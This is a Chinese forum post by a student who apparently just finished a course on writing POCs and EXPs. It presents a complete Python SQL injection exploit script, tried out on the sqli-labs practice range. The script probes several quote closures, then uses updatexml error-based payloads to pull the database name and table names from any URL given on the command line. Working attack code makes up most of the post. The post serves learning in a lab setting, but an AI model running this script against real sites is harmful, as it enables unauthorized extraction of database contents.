小白通过课上所学完成的一次EXP编写

浩琦很好奇   ·   发表于 2021-10-24 10:15:52   ·   技术文章

前言:今天听了kali训练营的python编写POC,EXP课程。柚子老师讲的特别好,思路超级清晰,听完课之后想去锻炼一下自己,于是就仿照课上讲的内容自己动手写了一些特别简单的EXP(大佬勿喷)

1.基于报错注入的EXP(GET型传参)

首先我们可以导入我们需要进行测试的字符串列表
list = [“ “,”‘“,’”‘,’”)’,”‘)”]
从上面可以看出,我们进行测试的字符串有单引号,双引号,单引号+括号,双引号+括号,空白字符
OK,进入主函数

  1. if __name__ == '__main__':
  2. url = "http://localhost/sql/Less-1/?id=1"
  3. for str in list:
  4. check(url,str)

在这里我用的是sqli-labs靶场,这里不多赘述

检查模块check

  1. def check(url,str):
  2. """
  3. 检查函数
  4. :param url: 目标URL地址
  5. :param str: 测试字符串
  6. :return:
  7. """
  8. payload = str + "and 456=123 -- qwe"
  9. res1 = requests.get(url)
  10. text1 = res1.content.decode('utf-8')
  11. res2 = requests.get(url + payload)
  12. text2 = res2.content.decode('utf-8')
  13. if text2 != text1:
  14. print("当时用{}闭合时存在注入".format(str))
  15. print("正在进入攻击模块....")
  16. exp(url,str)

大致思路是在有payload和没有payload的情况下分别对网站进行请求,看回显是否一样,在这里是默认进入攻击模块

攻击模块EXP:

  1. def exp(url,str):
  2. """
  3. 攻击模块
  4. :param url: 目标URL地址
  5. :param str: 测试字符串
  6. :return:
  7. """
  8. get_DB_name(url,str)
  9. get_table_name(url,str)

这里只有两个函数,一个是获取数据库库名,另外一个是获取数据库中的表名

获取数据库库名:

  1. def get_DB_name(url,str):
  2. payload = str + "and updatexml(1, concat(0x7e, database(), 0x7e), 1) -- qwe"
  3. res = requests.get(url + payload)
  4. text = res.content.decode('utf-8')
  5. # print(text)
  6. print(re.findall("~.*~",text,re.I))

我们可以通过正式课的学习得知,如果存在注入,那么在返回数据会有~,我们只要使用正则就可以得到相关数据

得到数据库的表名:

  1. def get_table_name(url,str):
  2. for i in range(1,20):
  3. payload = str +" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit {},1),0x7e),1) -- qwe".format(i)
  4. res = requests.get(url + payload)
  5. text = res.content.decode('utf-8')
  6. # print(text)
  7. print("表名:",end=" ")
  8. print(re.findall("~.*~", text, re.I))

在这里默认是少于20个表的,在执行时可以根据实际情况对payload进行适当更改

完整代码如下:

  1. """
  2. 基于报错注入的EXP
  3. another:浩琦很好奇
  4. """
  5. import requests
  6. import re
  7. import sys
  8. def get_table_name(url,str):
  9. for i in range(1,20):
  10. payload = str +" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit {},1),0x7e),1) -- qwe".format(i)
  11. res = requests.get(url + payload)
  12. text = res.content.decode('utf-8')
  13. # print(text)
  14. print("表名:",end=" ")
  15. print(re.findall("~.*~", text, re.I))
  16. def get_DB_name(url,str):
  17. payload = str + "and updatexml(1, concat(0x7e, database(), 0x7e), 1) -- qwe"
  18. res = requests.get(url + payload)
  19. text = res.content.decode('utf-8')
  20. # print(text)
  21. print(re.findall("~.*~",text,re.I))
  22. def exp(url,str):
  23. """
  24. 攻击模块
  25. :param url: 目标URL地址
  26. :param str: 测试字符串
  27. :return:
  28. """
  29. get_DB_name(url,str)
  30. get_table_name(url,str)
  31. def check(url,str):
  32. """
  33. 检查模块
  34. :param url: 目标URL地址
  35. :param str: 测试字符串
  36. :return:
  37. """
  38. payload = str + "and 456=123 -- qwe"
  39. res1 = requests.get(url)
  40. text1 = res1.content.decode('utf-8')
  41. res2 = requests.get(url + payload)
  42. text2 = res2.content.decode('utf-8')
  43. if text2 != text1:
  44. print("当时用{}闭合时存在注入".format(str))
  45. print("正在进入攻击模块....")
  46. exp(url,str)
  47. list = [" ","'",'"','")',"')"]
  48. if __name__ == '__main__':
  49. arg = sys.argv # 获取用户传递的参数
  50. if len(arg) != 2: # 两个参数,一个是脚本的名字,一个是目标参数地址
  51. print("[*]usage: python {} ip/域名".format(arg[0]))
  52. else:
  53. url = arg[1]
  54. # "http://localhost/sql/Less-4/?id=1"
  55. for str in list:
  56. check(url,str)
  57. # python updatexml_get_inject.py http://localhost/sql/Less-3/?id=1

结果如图:

感言:工具不是万能的,不可能去替代人类,希望大家在以后的学习中多加练习,我也会持续更新,大家可以监督,共勉!

最后,可不可以将你手中宝贵的赞给我一个呢哈哈哈,以后会持续更新的

用户名金币积分时间理由
Track-劲夫 10.00 0 2021-10-25 16:04:24 活动奖励
Track-劲夫 20.00 0 2021-10-25 16:04:08 一个受益终生的帖子~~

打赏我,让我更有动力~

1 条回复   |  直到 2021-10-25 | 910 次浏览

Track-劲夫
发表于 2021-10-25

加油

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.